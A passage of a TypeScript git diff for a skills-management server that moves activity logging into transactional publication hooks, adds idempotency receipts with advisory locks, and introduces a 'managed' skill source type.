accessService(database).decide({ actor: req.actor, action: "skill_config:update", resource: { type: "company", companyId }, @@ -255,9 +260,9 @@ export function companySkillRoutes(db: Db) { }); } const resolvedResource = typeof resource === "function" ? await resource() : await resource; - const policyDecision = await skillPolicies.evaluate({ + const policyDecision = await companySkillPolicyService(database).evaluate({ companyId, - principal: await skillPolicyPrincipal(req, companyId), + principal: await skillPolicyPrincipal(req, companyId, database), action, resource: resolvedResource, }); @@ -266,6 +271,38 @@ export function companySkillRoutes(db: Db) { } } + function publishCommittedActivity(publication: ActivityPublication) { + try { publishActivity(publication); } + catch { logger.warn({ companyId: publication.companyId }, "Committed skill activity notification failed"); } + } + + function contentPublication(req: Request, companyId: string, skillId: string, action: SkillPolicyAction, + event: (skill: Parameters>[1], + version: Parameters>[2]) => { + action: string; entityType?: string; entityId?: string; details: Record; + }) { + let publication: ActivityPublication | null = null; + const hooks: SkillContentPublication = { + validate: async tx => { + const database = tx as unknown as Db; + await assertCanMutateCompanySkills(req, companyId, action, + () => skillPolicyResource({ companyId, skillId }, database), database); + }, + afterPublish: async (tx, skill, version) => { + const actor = getActorInfo(req); + const activity = event(skill, version); + publication = (await persistActivity(tx as unknown as Db, { + companyId, ...actor, entityType: "company_skill", entityId: skill.id, ...activity, + })).publication; + }, + }; + return { hooks, publish() { + if (!publication) return false; + publishCommittedActivity(publication); + return true; + } }; + } + async function assertCanOrchestrateSkillTestHarness( req: Request, companyId: string, @@ -929,9 +966,13 @@ export function companySkillRoutes(db: Db) { const companyId = req.params.companyId as string; const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.create", () => skillPolicyResource({ companyId, skillId })); - const result = await svc.createVersion(companyId, skillId, req.body, skillActor(req)); + const publication = contentPublication(req, companyId, skillId, "skills.create", (_skill, version) => ({ + action: "company.skill_version_created", entityType: "company_skill_version", entityId: version.id, + details: { skillId, revisionNumber: version.revisionNumber, label: version.label }, + })); + const result = await svc.createVersion(companyId, skillId, req.body, skillActor(req), { publication: publication.hooks }); const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1005,9 +1046,13 @@ export function companySkillRoutes(db: Db) { "skills.create", () => skillPolicyResource({ companyId, skillId }), ); - const result = await svc.forkSkill(companyId, skillId, req.body, skillActor(req)); + const publication = contentPublication(req, companyId, skillId, "skills.create", skill => ({ + action: "company.skill_forked", details: { sourceSkillId: skillId, slug: skill.slug, name: skill.name, + reassignedAgentIds: req.body.reassignAgentIds ?? [] }, + })); + const result = await svc.forkSkill(companyId, skillId, req.body, skillActor(req), publication.hooks); const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1040,11 +1085,17 @@ export function companySkillRoutes(db: Db) { "skills.edit", () => skillPolicyResource({ companyId, skillId }), ); - const result = await svc.renameSkill(companyId, skillId, req.body); + const before = (await svc.getById(companyId, skillId))!; + const publication = contentPublication(req, companyId, skillId, "skills.edit", skill => ({ + action: "company.skill_renamed", details: { previousName: before.name, previousSlug: before.slug, + previousKey: before.key, name: skill.name, slug: skill.slug, key: skill.key }, + })); + const result = await svc.renameSkill(companyId, skillId, req.body, publication.hooks); + const published = publication.publish(); const changed = result.previousName !== result.skill.name || result.previousSlug !== result.skill.slug || result.previousKey !== result.skill.key; - if (changed) { + if (changed && !published) { const actor = getActorInfo(req); await logActivity(db, { companyId, @@ -1204,38 +1255,70 @@ export function companySkillRoutes(db: Db) { details: { slug: skill.slug, name: skill.name, description: skill.description, sourceIssueId: runContext?.issue.id ?? null, versionId: skill.currentVersionId }, }); - if (!idempotencyKey) { - const skill = await svc.createLocalSkill(companyId, input, skillActor(req)); - await logActivity(db, event(skill)); - res.status(201).json(skill); - return; - } - // Scope to task and actor, not run: a replacement runner must recover the - // same result after a lost acknowledgement. The route still reauthorizes. - const receiptKey = `skill:${companyId}:${actor.actorId}:${runContext?.issue.id ?? "board"}:${idempotencyKey}`; + const receiptKey = idempotencyKey + ? `skill:${companyId}:${actor.actorId}:${runContext?.issue.id ?? "board"}:${idempotencyKey}` : null; const fingerprint = createHash("sha256").update(JSON.stringify(input)).digest("hex"); - const result = await db.transaction(async tx => { - await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); - if (runContext) await projectToolContext(tx as unknown as Db, req.actor, true, "Skill"); - const [prior] = await tx.select().from(activityLog).where(and( + let publication: ActivityPublication | null = null; + const replay = async (database: Db) => { + if (!receiptKey) return null; + const [receipt] = await database.select().from(companySkillMutationReceipts).where(and( + eq(companySkillMutationReceipts.companyId, companyId), eq(companySkillMutationReceipts.key, receiptKey))); + if (receipt) { + if (receipt.fingerprint !== fingerprint) throw conflict("Skill idempotency key was used with different inputs"); + if (!await companySkillService(database).getById(companyId, receipt.skillId)) { + throw conflict("Previously created skill is no longer available"); + } + const { files } = await managedSkillContent(database).read(companyId, receipt.skillId, receipt.versionId); + return { ...receipt.response, markdown: files.find(file => file.path === "SKILL.md")!.content }; + } + const [prior] = await database.select().from(activityLog).where(and( eq(activityLog.companyId, companyId), eq(activityLog.action, "company.skill_created"), sql`${activityLog.details}->>'idempotencyKey' = ${receiptKey}`, )); - const service = companySkillService(tx as unknown as Db, { packageDb: db }); - if (prior) { - if (prior.details?.fingerprint !== fingerprint) throw conflict("Skill idempotency key was used with different inputs"); - const skill = await service.getById(companyId, prior.entityId); - if (!skill) throw conflict("Previously created skill is no longer available"); - return { skill, publication: null, duplicate: true }; - } - const skill = await service.createLocalSkill(companyId, input, skillActor(req)); - const activity = await persistActivity(tx as unknown as Db, { - ...event(skill), details: { ...event(skill).details, idempotencyKey: receiptKey, fingerprint }, - }); - return { skill, publication: activity.publication, duplicate: false }; - }); - if (result.publication) publishActivity(result.publication); - res.status(result.duplicate ? 200 : 201).json(result.skill); + if (!prior) return null; + if (prior.details?.fingerprint !== fingerprint) throw conflict("Skill idempotency key was used with different inputs"); + const service = companySkillService(database); + const skill = await service.getById(companyId, prior.entityId); + if (!skill) throw conflict("Previously created skill is no longer available"); + return skill; + }; + const prior = await replay(db); + if (prior) { res.status(200).json(prior); return; } + const replayed = new Error("Skill publication already committed"); + const hooks: SkillContentPublication = { + beforeLock: async tx => { + if (!receiptKey) return; + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); + const [receipt] = await tx.select({ key: companySkillMutationReceipts.key }).from(companySkillMutationReceipts) + .where(and(eq(companySkillMutationReceipts.companyId, companyId), eq(companySkillMutationReceipts.key, receiptKey))); + if (receipt) throw replayed; + }, + validate: async tx => { + await assertCanMutateCompanySkills(req, companyId, "skills.create", { sourceType: "generated" }, tx as unknown as Db); + if (runContext) await projectToolContext(tx as unknown as Db, req.actor, true, "Skill"); + }, + afterPublish: async (tx, row) => { + const skill = (await companySkillService(tx as unknown as Db).getById(companyId, row.id))!; + if (receiptKey) { + const { markdown: _markdown, folderPath: _folderPath, ...response } = skill; + await tx.insert(companySkillMutationReceipts).values({ companyId, key: receiptKey, fingerprint, + skillId: skill.id, versionId: skill.currentVersionId!, response }); + } + const activity = await persistActivity(tx as unknown as Db, { + ...event(skill), details: { ...event(skill).details, + ...(receiptKey ? { idempotencyKey: receiptKey, fingerprint } : {}) }, + }); + publication = activity.publication; + }, + }; + try { + const skill = await svc.createLocalSkill(companyId, input, skillActor(req), hooks); + if (publication) publishCommittedActivity(publication); + res.status(201).json(skill); + } catch (error) { + if (error !== replayed) throw error; + res.status(200).json(await replay(db)); + } }, ); @@ -1278,6 +1361,72 @@ export function companySkillRoutes(db: Db) { const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.edit", () => skillPolicyResource({ companyId, skillId })); const { idempotencyKey, expectedVersionId, ...input } = req.body; + const installed = await svc.getById(companyId, skillId); + if (installed?.sourceType === "managed") { + const actor = getActorInfo(req); + const runContext = req.actor.type === "agent" && req.actor.source === "agent_jwt" && req.actor.runId + ? await projectToolContext(db, req.actor, true, "Skill") : null; + const receiptKey = idempotencyKey + ? `skill-file:${companyId}:${actor.actorId}:${runContext?.issue.id ?? "board"}:${skillId}:${idempotencyKey}` : null; + const fingerprint = createHash("sha256").update(JSON.stringify({ ...input, expectedVersionId })).digest("hex"); + const replay = async (database: Db) => { + if (!receiptKey) return null; + const [prior] = await database.select({ details: activityLog.details }).from(activityLog).where(and( + eq(activityLog.companyId, companyId), eq(activityLog.action, "company.skill_file_updated"), + sql`${activityLog.details}->>'idempotencyKey' = ${receiptKey}`, + )); + if (!prior) return null; + if (prior.details?.fingerprint !== fingerprint) throw conflict("Skill file idempotency key was used with different inputs"); + return prior.details?.receipt; + }; + const prior = await replay(db); + if (prior) { res.json(prior); return; } + let receipt: unknown; + let publication: ActivityPublication | null = null; + const replayed = new Error("Skill publication already committed"); + try { + const result = await svc.updateFile(companyId, skillId, input.path, input.content, skillActor(req), { + encoding: input.encoding, executable: input.executable, expectedVersionId, + publication: { + beforeLock: async tx => { + if (!receiptKey) return; + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); + receipt = await replay(tx as unknown as Db); + if (receipt) throw replayed; + }, + validate: async tx => { + await assertCanMutateCompanySkills(req, companyId, "skills.edit", () => skillPolicyResource({ companyId, skillId }, tx as unknown as Db), tx as unknown as Db); + if (runContext) await projectToolContext(tx as unknown as Db, req.actor, true, "Skill"); + }, + afterPublish: async (tx, _skill, version) => { + receipt = { skillId, path: input.path, versionId: version.id, studioPath: `/skills/studio/${encodeURIComponent(skillId)}` }; + const activity = await persistActivity(tx as unknown as Db, { + companyId, actorType: actor.actorType, actorId: actor.actorId, agentId: actor.agentId, + runId: actor.runId, agentApiKeyId: actor.agentApiKeyId, issueId: runContext?.issue.id, + action: "company.skill_file_updated", entityType: "company_skill", entityId: skillId, + details: { path: input.path, markdown: input.path === "SKILL.md", versionId: version.id, + sourceIssueId: runContext?.issue.id ?? null, + ...(receiptKey ? { idempotencyKey: receiptKey, fingerprint, receipt } : {}) }, + }); + publication = activity.publication; + }, + }, + }); + if (publication) publishCommittedActivity(publication); + res.json(idempotencyKey ? receipt : result); + } catch (error) { + if (error !== replayed) { + if (!receiptKey) throw error; + receipt = await db.transaction(async tx => { + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${receiptKey}, 0))`); + return replay(tx as unknown as Db); + }); + if (!receipt) throw error; + } + res.json(receipt); + } + return; + } if (idempotencyKey) { const actor = getActorInfo(req); const runContext = req.actor.type === "agent" && req.actor.source === "agent_jwt" && req.actor.runId @@ -1367,10 +1516,16 @@ export function companySkillRoutes(db: Db) { const companyId = req.params.companyId as string; const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.edit", () => skillPolicyResource({ companyId, skillId })); - const result = await svc.deleteFile(companyId, skillId, req.body, skillActor(req)); + const before = (await svc.getById(companyId, skillId))!; + const publication = contentPublication(req, companyId, skillId, "skills.edit", (_skill, version) => ({ + action: "company.skill_file_deleted", details: { path: req.body.path, target: req.body.target, + deletedPaths: before.fileInventory.map(file => file.path).filter(file => req.body.target === "folder" + ? file.startsWith(`${req.body.path}/`) : file === req.body.path), versionId: version.id }, + })); + const result = await svc.deleteFile(companyId, skillId, req.body, skillActor(req), publication.hooks); const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1445,10 +1600,25 @@ export function companySkillRoutes(db: Db) { sourceType: "catalog", sourceLocator: req.body.catalogSkillId, }); - const result = await svc.installFromCatalog(companyId, req.body); + let committed: ActivityPublication | null = null; + const result = await svc.installFromCatalog(companyId, req.body, action => ({ + validate: async tx => assertCanMutateCompanySkills(req, companyId, "skills.install", { + sourceType: "catalog", sourceLocator: req.body.catalogSkillId, + }, tx as unknown as Db), + afterPublish: async (tx, skill) => { + committed = (await persistActivity(tx as unknown as Db, { + companyId, ...getActorInfo(req), + action: action === "created" ? "company.skill_catalog_installed" : "company.skill_catalog_updated", + entityType: "company_skill", entityId: skill.id, + details: { action, catalogId: req.body.catalogSkillId, catalogKey: skill.key, + slug: skill.slug, originHash: skill.sourceRef }, + })).publication; + }, + })); const actor = getActorInfo(req); - await logActivity(db, { + if (committed) publishCommittedActivity(committed); + else await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1523,14 +1693,25 @@ export function companySkillRoutes(db: Db) { const companyId = req.params.companyId as string; const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.remove", () => skillPolicyResource({ companyId, skillId })); - const result = await svc.deleteSkill(companyId, skillId); + let committed: ActivityPublication | null = null; + const result = await svc.deleteSkill(companyId, skillId, async (tx, deleted) => { + for (const skill of deleted) committed = (await persistActivity(tx as unknown as Db, { + companyId, ...getActorInfo(req), action: "company.skill_deleted", entityType: "company_skill", + entityId: skill.id, details: { slug: skill.slug, name: skill.name }, + })).publication; + }, async tx => { + const database = tx as unknown as Db; + await assertCanMutateCompanySkills(req, companyId, "skills.remove", + () => skillPolicyResource({ companyId, skillId }, database), database); + }); if (!result) { res.status(404).json({ error: "Skill not found" }); return; } const actor = getActorInfo(req); - await logActivity(db, { + if (committed) publishCommittedActivity(committed); + else await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1602,14 +1783,24 @@ export function companySkillRoutes(db: Db) { res.json(await svc.getById(companyId, skillId)); return; } - const result = await svc.installUpdate(companyId, skillId, req.body); + const publication = contentPublication(req, companyId, skillId, "skills.update", skill => ({ + action: "company.skill_update_installed", details: { + slug: skill.slug, previousOriginHash: before?.metadata?.originHash ?? before?.sourceRef ?? null, + previousOriginVersion: before?.metadata?.originVersion ?? null, + newOriginHash: skill.metadata?.originHash ?? skill.sourceRef, + newOriginVersion: skill.metadata?.originVersion ?? null, + driftDetected: Boolean(before?.metadata?.userModifiedAt), force: Boolean(req.body.force), + auditVerdict: skill.metadata?.auditVerdict ?? null, + }, + })); + const result = await svc.installUpdate(companyId, skillId, req.body, publication.hooks); if (!result) { res.status(404).json({ error: "Skill not found" }); return; } const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, @@ -1643,14 +1834,24 @@ export function companySkillRoutes(db: Db) { const skillId = req.params.skillId as string; await assertCanMutateCompanySkills(req, companyId, "skills.reset", () => skillPolicyResource({ companyId, skillId })); const before = await svc.getById(companyId, skillId); - const result = await svc.resetSkill(companyId, skillId, req.body); + const publication = contentPublication(req, companyId, skillId, "skills.reset", skill => ({ + action: "company.skill_reset", details: { + slug: skill.slug, previousOriginHash: before?.metadata?.originHash ?? before?.sourceRef ?? null, + previousOriginVersion: before?.metadata?.originVersion ?? null, + newOriginHash: skill.metadata?.originHash ?? skill.sourceRef, + newOriginVersion: skill.metadata?.originVersion ?? null, + driftDetected: Boolean(before?.metadata?.userModifiedAt), force: Boolean(req.body.force), + auditVerdict: skill.metadata?.auditVerdict ?? null, + }, + })); + const result = await svc.resetSkill(companyId, skillId, req.body, publication.hooks); if (!result) { res.status(404).json({ error: "Skill not found" }); return; } const actor = getActorInfo(req); - await logActivity(db, { + if (!publication.publish()) await logActivity(db, { companyId, actorType: actor.actorType, actorId: actor.actorId, diff --git a/server/src/services/company-skill-policy.ts b/server/src/services/company-skill-policy.ts index f4be82cc72d..1c61e02da5e 100644 --- a/server/src/services/company-skill-policy.ts +++ b/server/src/services/company-skill-policy.ts @@ -89,6 +89,7 @@ function decision( export function normalizeSkillPolicySourceType(sourceType: string | null | undefined): SkillPolicySourceType { switch (sourceType?.trim().toLowerCase()) { + case "managed": case "local_path": case "workspace": case "project_scan": diff --git a/server/src/services/company-skills.ts b/server/src/services/company-skills.ts index 7ba950039e9..8ba95a27e99 100644 --- a/server/src/services/company-skills.ts +++ b/server/src/services/company-skills.ts @@ -1,10 +1,12 @@ +import { skillExecutionContent } from "./skill-execution-content.js"; import { notifySkillVersionRetention } from "./skill-version-retention-notifications.js"; +import { managedSkillContent, type SkillContentPublication } from "./managed-skill-content.js"; import { DELIVERY_QUEUES, notifyDeliveryWork } from "./delivery-work-notifications.js"; import { verifyFileManifest } from "./file-manifest-cache.js"; -import { skillPackageStorageEnabled, skillPackageStore, skillVersionFileMap, skillVersionMetadataColumns, withSkillPackageReadScope, type StoredSkillVersion } from "./skill-package-store.js"; +import { skillPackageStorageEnabled, skillPackageStore, skillVersionFileMap, skillVersionUsesWholePackage, skillVersionMetadataColumns, withSkillPackageReadScope, type StoredSkillVersion } from "./skill-package-store.js"; import { skillPackageRuntime } from "./skill-package-runtime.js"; import type { SkillPackageFileMapping } from "@paperclipai/db"; -import { ensureSkillCacheDirectory, touchSkillVersionCache, withSkillVersionCacheLock } from "./skill-version-cache.js"; +import { ensureSkillCacheDirectory, protectedVersions, withSkillVersionCacheLock } from "./skill-version-cache.js"; import { measureRunPhase } from "./execution-preparation-timing.js"; import { verifyExistingBundledSkillRelease } from "./bundled-skill-release-validation.js"; import { retainProjectSkillAccess, skillAccessService } from "./skill-access.js"; @@ -17,9 +19,9 @@ import { createHash, randomUUID } from "node:crypto"; import { promises as fs } from "node:fs"; import path from "node:path"; import os from "node:os"; -import { skillFileBytes, snapshotFile, assertSkillSnapshotPath, skillSnapshotHash } from "./skill-snapshot.js"; +import { skillFileBytes, snapshotFile, assertSkillSnapshotPath, skillSnapshotHash, MAX_SKILL_SNAPSHOT_BYTES, MAX_SKILL_SNAPSHOT_FILES } from "./skill-snapshot.js"; import { fileURLToPath } from "node:url"; -import { and, asc, desc, eq, inArray, isNull, isNotNull, lt, ne, sql } from "drizzle-orm"; +import { and, asc, desc, eq, inArray, isNull, isNotNull, lt, ne, or, sql } from "drizzle-orm"; import type { Db } from "@paperclipai/db"; import { agents as agentsTable, @@ -45,7 +47,6 @@ import { import { readPaperclipSkillSyncPreference, writePaperclipSkillSyncPreference, resolvePaperclipDesiredSkillNames, resolveLegacyPaperclipDesiredSkillNames } from "@paperclipai/adapter-utils/server-utils"; import { REPOSITORY_CONTENT_DIR, repositorySkillProjection } from "./skill-repository-package.js"; -import { runVersionSnapshotFlight } from "./skill-version-retention.js"; import type { PaperclipDesiredSkillEntry, PaperclipSkillEntry } from "@paperclipai/adapter-utils/server-utils"; import type { AgentDesiredSkillEntry, @@ -359,6 +360,7 @@ type SkillSourceMeta = { packageName?: string; packageVersion?: string; originVersion?: string; + originVersionId?: string; originSnapshotLocator?: string; installedHash?: string; forkedByAgentId?: string | null; @@ -389,7 +391,17 @@ export type ProjectSkillScanTarget = { workspaceCwd: string; }; +export type RuntimeSkillVersionSelection = { + companyId: string; + skillId: string; + key: string; + runtimeName: string; + versionId: string | null; + currentVersionId: string | null; +}; + type RuntimeSkillEntryOptions = { + selectVersions?: (entries: RuntimeSkillVersionSelection[]) => Promise>; materializeMissing?: boolean; versionSelections?: Map; selectionConfig?: Record; @@ -413,6 +425,7 @@ type BundledSkillReleaseManifestEntry = { }; type CreateVersionOptions = { + publication?: SkillContentPublication; repositorySnapshotId?: string; repositorySkillPath?: string; packageSnapshotId?: string; @@ -1087,12 +1100,12 @@ function deriveImportedSkillSource( } return { - sourceType: "catalog", + sourceType: "managed", sourceLocator: null, sourceRef: null, metadata: { ...(canonicalKey ? { skillKey: canonicalKey } : {}), - sourceKind: "catalog", + sourceKind: "managed", }, }; } @@ -1113,9 +1126,9 @@ function readInlineSkillImports(companyId: string, files: Record const slug = deriveImportedSkillSlug(parsed.frontmatter, slugFallback); const source = deriveImportedSkillSource(parsed.frontmatter, slug); const inventory = Object.keys(normalizedFiles) - .filter((entry) => entry === skillPath || (skillDir ? entry.startsWith(`${skillDir}/`) : false)) + .filter((entry) => entry === skillPath || (skillDir ? entry.startsWith(`${skillDir}/`) : true)) .map((entry) => { - const relative = entry === skillPath ? "SKILL.md" : entry.slice(skillDir.length + 1); + const relative = entry === skillPath ? "SKILL.md" : skillDir ? entry.slice(skillDir.length + 1) : entry; return { path: normalizePortablePath(relative), kind: classifyInventoryKind(relative), @@ -2721,6 +2734,9 @@ function deriveSkillSourceInfo(skill: SkillSourceInfoTarget): { sourcePath: string | null; } { const metadata = getSkillMeta(skill); + if (skill.sourceType === "managed") return { + editable: true, editableReason: null, sourceLabel: "Paperclip", sourceBadge: "paperclip", sourcePath: null, + }; const localSkillDir = normalizeSkillDirectory(skill); if (metadata.sourceKind === "paperclip_bundled") { return { @@ -2978,6 +2994,8 @@ async function listLastEditorsBySkillId( export function companySkillService(db: Db, options: { actor?: AuthorizationActor; packageDb?: Db } = {}) { const packageDb = options.packageDb ?? db; + const managedContent = managedSkillContent(db, packageDb); + const executionContent = skillExecutionContent(db, options); const packages = skillPackageStore(packageDb); const packageRuntime = skillPackageRuntime(packageDb); // Admin reads keep SQL on the caller's transaction, which may own the pool's only slot. @@ -3177,7 +3195,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo ); } - async function reconcileLocalPathSkillSources(companyId: string) { + async function reconcileLocalPathSkillSources(companyId: string, skillId?: string) { const rows = await db .select({ id: companySkills.id, @@ -3190,7 +3208,8 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo metadata: companySkills.metadata, }) .from(companySkills) - .where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "local_path"))); + .where(and(eq(companySkills.companyId, companyId), eq(companySkills.sourceType, "local_path"), + skillId ? eq(companySkills.id, skillId) : undefined)); const skills = rows.map((row) => ({ ...row, sourceType: row.sourceType as CompanySkillSourceType, @@ -3202,6 +3221,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo for (const skill of skills) { if (skill.sourceType !== "local_path") continue; + if (asString(skill.metadata?.sourceKind) === "managed_local") continue; if (isPaperclipBundledSkillKey(skill.key) || asString(skill.metadata?.sourceKind) === "paperclip_bundled") continue; if (!missingIds.has(skill.id)) { @@ -3427,15 +3447,15 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo .sort((left, right) => right.count - left.count || left.slug.localeCompare(right.slug)); } - async function listReferenceTargets(companyId: string): Promise { - const rows = await db + async function listReferenceTargets(companyId: string, database: DbOrTransaction = db): Promise { + const rows = await database .select({ id: companySkills.id, key: companySkills.key, slug: companySkills.slug, }) .from(companySkills) - .where(and(eq(companySkills.companyId, companyId), await visibility().condition(companyId))); + .where(and(eq(companySkills.companyId, companyId), await visibility(database).condition(companyId))); return rows as CompanySkillReferenceRow[]; } @@ -3445,7 +3465,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo .from(companySkills) .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, id), await visibility(database).condition(companyId))) .then((rows) => rows[0] ?? null); - return row ? enrichFolderPath(companyId, toCompanySkill(row)) : null; + return row ? enrichFolderPath(companyId, toCompanySkill(row), database) : null; } async function getByKey( @@ -3472,9 +3492,9 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo return rows.length === 1 ? enrichFolderPath(companyId, toCompanySkill(rows[0]!)) : null; } - async function enrichFolderPath(companyId: string, skill: CompanySkill): Promise { + async function enrichFolderPath(companyId: string, skill: CompanySkill, database: DbOrTransaction = db): Promise { if (!skill.folderId) return { ...skill, folderPath: null }; - const folder = await folderSvc.getFolder(companyId, skill.folderId); + const folder = await folderService(database as Db).getFolder(companyId, skill.folderId); return { ...skill, folderPath: folder?.kind === "skill" ? folder.path : null }; } @@ -3533,17 +3553,14 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo skill: CompanySkill, metadataPatch: Record, ): Promise { - const metadata = { - ...(isPlainRecord(skill.metadata) ? skill.metadata : {}), - ...metadataPatch, - }; const row = await db .update(companySkills) - .set({ metadata, updatedAt: new Date() }) - .where(eq(companySkills.id, skill.id)) + .set({ metadata: sql`coalesce(${companySkills.metadata}, '{}'::jsonb) || ${JSON.stringify(metadataPatch)}::jsonb`, updatedAt: new Date() }) + .where(and(eq(companySkills.id, skill.id), eq(companySkills.companyId, skill.companyId), + skill.currentVersionId ? eq(companySkills.currentVersionId, skill.currentVersionId) : isNull(companySkills.currentVersionId))) .returning() .then((rows) => rows[0] ?? null); - if (!row) throw notFound("Skill not found"); + if (!row) throw conflict("Skill changed while its metadata was being prepared. Retry the operation."); return toCompanySkill(row); } @@ -3565,38 +3582,41 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo }); } - async function auditSkill(companyId: string, skillId: string): Promise { - await ensureSkillInventoryCurrent(companyId); - const skill = await getById(companyId, skillId); - if (!skill) return null; - if (skill.metadata?.skillSourceId && skill.metadata?.snapshotHash && skill.currentVersionId) { + async function auditSkillContents(skill: CompanySkill): Promise { + const companyId = skill.companyId; + if (skill.currentVersionId && (skill.sourceType !== "local_path" || skill.metadata?.skillSourceId || skill.metadata?.sourceKind === "paperclip_bundled")) { const versionId = skill.currentVersionId; return withSkillVersionCacheLock(db, companyId, async () => { const version = await readVersionMetadata(companyId, skill.id, versionId); if (!version) throw unprocessable("Installed skill version is unavailable."); const sourceLocator = await materializeVersionSnapshot(companyId, skill, version); - const audit = await auditInstalledSkillBytes({ + return auditInstalledSkillBytes({ ...skill, sourceType: "local_path", sourceLocator, fileInventory: version.repositorySnapshotId || version.packageSnapshotId ? await packageRuntime.inventory(version) : await packages.versionFiles(version), }); - await persistAuditMetadata(skill, audit); - return audit; }); } if (skill.sourceType !== "catalog" && skill.sourceType !== "local_path") { throw unprocessable("Only local-path and catalog-managed company skills support audit."); } - const audit = await auditInstalledSkillBytes(skill); + return auditInstalledSkillBytes(skill); + } + + async function auditSkill(companyId: string, skillId: string): Promise { + await ensureSkillInventoryCurrent(companyId); + const skill = await getById(companyId, skillId); + if (!skill) return null; + const audit = await auditSkillContents(skill); await persistAuditMetadata(skill, audit); return audit; } - async function usage(companyId: string, key: string): Promise { - const skills = await listReferenceTargets(companyId); - const agentRows = await agents.list(companyId); + async function usage(companyId: string, key: string, database: DbOrTransaction = db): Promise { + const skills = await listReferenceTargets(companyId, database); + const agentRows = await agentService(database as Db).list(companyId); const desiredAgents = agentRows.flatMap((agent) => { const desiredEntries = resolveDesiredSkillEntries(skills, agent.adapterConfig as Record); const desiredEntry = desiredEntries.find((entry) => entry.key === key); @@ -3642,9 +3662,17 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } async function detail(companyId: string, id: string, actor?: SkillActor | null): Promise { - await ensureSkillInventoryCurrent(companyId); - const skill = await getByRouteRef(companyId, id); + let skill = await getByRouteRef(companyId, id); + if (!skill) { + await ensureSkillInventoryCurrent(companyId); + skill = await getByRouteRef(companyId, id); + } if (!skill) return null; + if (skill.sourceType === "local_path") { + await reconcileLocalPathSkillSources(companyId, skill.id); + skill = await getById(companyId, skill.id); + if (!skill) return null; + } const usedByAgents = await usage(companyId, skill.key); const existingForks = await existingForkSummaries(companyId, skill.id, actor); const currentVersion = await getCurrentVersion(skill); @@ -3682,9 +3710,17 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo companyId: string, skill: CompanySkill, ): Promise { + if (skill.currentVersionId && (skill.sourceType !== "local_path" || skill.metadata?.skillSourceId || skill.metadata?.sourceKind === "paperclip_bundled")) { + const version = await getCurrentVersion(skill); + if (!version) throw notFound("Skill version not found"); + return runtimeVersionInventory(companyId, version); + } + if (skill.sourceType === "local_path" && skill.sourceLocator) { + skill = { ...skill, fileInventory: await collectLocalSkillInventory(skill.sourceLocator, inferLocalSkillInventoryMode(skill)) }; + } const out: CompanySkillVersionFileInventoryEntry[] = []; for (const entry of skill.fileInventory) { - const detail = await readFile(companyId, skill.id, entry.path); + const detail = await readLoadedSkillFile(skill, entry.path); if (!detail) continue; out.push({ path: detail.path, @@ -3720,6 +3756,28 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (!options.skipInventoryRefresh) await ensureSkillInventoryCurrent(companyId); const skill = options.skill ?? await getById(companyId, skillId, options.database); if (!skill) throw notFound("Skill not found"); + if (skill.sourceType === "managed" && !options.database && !options.release) { + const selectedId = input.sourceVersionId ?? skill.currentVersionId; + if (!selectedId) throw unprocessable("Managed skill has no committed version."); + const { files } = await managedContent.read(companyId, skillId, selectedId); + const inventory = options.fileInventory ?? files; + const candidate = await managedContent.prepare(companyId, inventory); + const markdown = inventory.find(file => file.path === "SKILL.md")!.content; + const parsed = parseFrontmatterMarkdown(markdown); + const saved = await managedContent.publish(skill, candidate, { + markdown, name: asString(parsed.frontmatter.name) ?? skill.name, + description: asString(parsed.frontmatter.description) ?? skill.description, + fileInventory: serializeFileInventory(inventory), trustLevel: deriveTrustLevel(inventory), + ...readSkillStoreMetadata(parsed.frontmatter, skill.metadata), + }, actor, { ...options.publication, expectedVersionId: input.expectedVersionId, label: input.label, + validate: async tx => { + await visibility(tx).assertSkill(companyId, skillId); + await options.publication?.validate?.(tx); + }, + }); + return { ...toCompanySkillVersion(saved.version), fileInventory: inventory }; + } + if (input.sourceVersionId) throw unprocessable("Only Paperclip-managed skills can restore a saved version."); const fileInventory = serializeVersionFileInventory( options.fileInventory ?? await collectVersionFileInventory(companyId, skill), ); @@ -3729,7 +3787,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo let packageFileMap = options.packageFileMap ?? null; const preparePackage = async (store: ReturnType) => { const id = await store.prepare(companyId, fileInventory); - packageFileMap = skillVersionFileMap(fileInventory, await store.manifest(companyId, id)); + packageFileMap = skillVersionFileMap(fileInventory); return id; }; const packageSnapshotId = options.packageSnapshotId ?? (options.release || !skillPackageStorageEnabled() ? null : options.database @@ -4021,11 +4079,12 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo source: CompanySkill, forkKey: string, planned: PlannedSkillReassignment[], 